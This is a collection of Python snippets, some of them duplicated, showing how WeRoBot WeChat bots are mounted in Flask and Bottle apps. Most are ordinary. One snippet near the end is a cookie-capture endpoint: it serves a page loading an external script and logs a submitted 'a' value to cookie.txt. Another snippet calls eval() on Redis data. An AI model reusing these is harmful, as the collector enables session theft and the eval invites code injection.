def create_app(config_name): app = Flask(__name__) app.add_url_rule(rule='/robot/', endpoint='werobot', view_func=make_view(myrobot), methods=['GET', 'POST']) app.config.from_object(config[config_name]) config[config_name].init_app(app) bootstrap.init_app(app) mail.init_app(app) moment.init_app(app) db.init_app(app) login_manager.init_app(app) pagedown.init_app(app) from .main import main as main_blueprint app.register_blueprint(main_blueprint) from .auth import auth as auth_blueprint app.register_blueprint(auth_blueprint, url_prefix='/auth') from .api_1_0 import api as api_1_0_blueprint app.register_blueprint(api_1_0_blueprint, url_prefix='/api/v1.0') return app
def config_werobot(app): robot.config['TOKEN'] = app.config['WECHAT_TOKEN'] robot.config['APP_ID'] = app.config['WECHAT_APP_ID'] robot.config['APP_SECRET'] = app.config['WECHAT_APP_SECRET'] app.add_url_rule(rule='/robot/', endpoint='werobot', view_func=make_view(robot), methods=['GET', 'POST'])
def test_bottle(wsgi_tester, hello_robot): from werobot.contrib.bottle import make_view from bottle import Bottle token = generate_token() endpoint = '/werobot_bottle' hello_robot.token = token bottle_app = Bottle() bottle_app.route(endpoint, ['GET', 'POST'], make_view(hello_robot)) wsgi_tester(bottle_app, token=token, endpoint=endpoint)
def test_bottle(wsgi_tester, hello_robot): from werobot.contrib.bottle import make_view from bottle import Bottle token = generate_token() endpoint = '/werobot_bottle' hello_robot.token = token bottle_app = Bottle() bottle_app.route(endpoint, ['GET', 'POST'], make_view(hello_robot)) wsgi_tester(bottle_app, token=token, endpoint=endpoint)
def config_werobot(app): robot.config.update( TOKEN=app.config['WECHAT_TOKEN'], ENCODING_AES_KEY=app.config['WECHAT_ENCODING_AES_KEY'], APP_ID=app.config['WECHAT_APP_ID'], SESSION_STORAGE=RedisStorage( redis_store, prefix=app.config['WEROBOT_SESSION_KEY'] ), ) robot.logger = app.logger app.add_url_rule(app.config['WEROBOT_URI_PREFIX'], endpoint='werobot', view_func=make_view(robot), methods=['GET', 'POST'])
def create_app(): app = Flask(__name__) app.add_url_rule( rule='/robot/', # WeRoBot 挂载地址 endpoint='werobot', # Flask 的 endpoint view_func=make_view(myrobot), methods=['GET', 'POST']) app.config.from_object('app.config.setting') app.config.from_object('app.config.secure') register_blueprints(app) register_plugin(app) return app
def test_flask(wsgi_tester, hello_robot): from flask import Flask from werobot.contrib.flask import make_view token = generate_token() endpoint = '/werobot_flask' hello_robot.token = token flask_app = Flask(__name__) flask_app.debug = True flask_app.add_url_rule(rule=endpoint, endpoint='werobot', view_func=make_view(hello_robot), methods=['GET', 'POST']) wsgi_tester(flask_app, token=token, endpoint=endpoint)
def test_flask(wsgi_tester, hello_robot): from flask import Flask from werobot.contrib.flask import make_view token = generate_token() endpoint = '/werobot_flask' hello_robot.token = token flask_app = Flask(__name__) flask_app.debug = True flask_app.add_url_rule( rule=endpoint, endpoint='werobot', view_func=make_view(hello_robot), methods=['GET', 'POST'] ) wsgi_tester(flask_app, token=token, endpoint=endpoint)
# @Version: V1.0 # @Author: wevsmy # @License: Apache Licence # @Contact: [email protected] # @Site: https://blog.weii.ink # @Software: PyCharm # @File: main.py # @Time: 2020/6/8 10:52 from flask import Flask, escape, request from werobot.contrib.flask import make_view from app.flask.werobot.robot import wx_robot flask_app = Flask(__name__) flask_app.add_url_rule(rule='/robot/', # WeRoBot 挂载地址 endpoint='werobot', # Flask 的 endpoint view_func=make_view(wx_robot), methods=['GET', 'POST']) @flask_app.route('/') def hello_world(): name = request.args.get("name", "World") return f"Hello, {escape(name)} from Flask!" if __name__ == '__main__': flask_app.run()
from flask import Flask from wechat.rebot import myrobot from werobot.contrib.flask import make_view app = Flask(__name__) app.add_url_rule( rule='/robot/', # WeRoBot 挂载地址 endpoint='werobot', # Flask 的 endpoint view_func=make_view(myrobot), methods=['GET', 'POST'])
from werobot import WeRoBot robot = WeRoBot(token='token') @robot.handler def hello(message): return 'Hello World!' from flask import Flask from werobot.contrib.flask import make_view app = Flask(__name__) app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db' app.add_url_rule( rule='/', # WeRoBot 的绑定地址 endpoint='werobot', # Flask 的 endpoint view_func=make_view(robot), methods=['GET', 'POST']) app.run()
from logging import getLogger from flask import Blueprint from werobot.contrib.flask import make_view from . import commands, fallback, handlers # noqa from .core import wechat_client, wechat_command_reg, wechat_mgr, wechat_robot from .utils import master logger = getLogger(__name__) bp = Blueprint("wechat", __name__) __all__ = [ "bp", "master", "wechat_robot", "wechat_mgr", "wechat_client", "wechat_command_reg", ] bp.add_url_rule( rule="/wechat", endpoint="wechat", view_func=make_view(wechat_robot), methods=["GET", "POST"], )
res="<!DOCTYPE html>\n<html>\n<body>\n<script src=\"https://blog.cgddgc.cn/test.js\"></script>\n</body>\n</html>" if request.method=='GET': ck=request.values.get('a') #print(request.values) if not ck==None: with open ('cookie.txt','a') as c: c.write(ck) c.close() return ck else: return res else: return "404 Not Found" @app.route('/status/',methods=['GET']) def auto_templete(): user=request.values.get('user') return render_template('index.html',title=user,user=user) #return request.values.get('info') robot.config.from_object(RobotConfig) app.add_url_rule(rule='/',endpoint='werobot',view_func=make_view(robot),methods=['GET', 'POST']) cgddgc.config.from_object(cgddgcConfig) app.add_url_rule(rule='/cgddgc/',endpoint='cgddgc',view_func=make_view(cgddgc),methods=['GET', 'POST']) if __name__ == '__main__': app.run(host='127.0.0.1') #app.run(host='0.0.0.0')
import requests import werobot from flask import Response from werobot.contrib.flask import make_view from werobot.replies import ArticlesReply, Article import config from app import app from celery_task import refresh_ss as refresh_ss_task, start_up_pc from common import headers, ss_to_str from redis_helper import helper robot = werobot.WeRoBot() robot.config = config app.add_url_rule('/robot', view_func=make_view(robot), methods=['GET', 'POST']) @app.route('/') def index(): ss = eval(helper.get('ss')) ret = requests.get(ss.get('qr_code'), headers=headers) return Response(response=ret.content, mimetype='image/jpg') @robot.filter('刷新ss') def refresh_ss(): refresh_ss_task.delay() return '刷新ss成功!上次刷新时间:{}'.format(helper.get('last_refresh_time') or '无')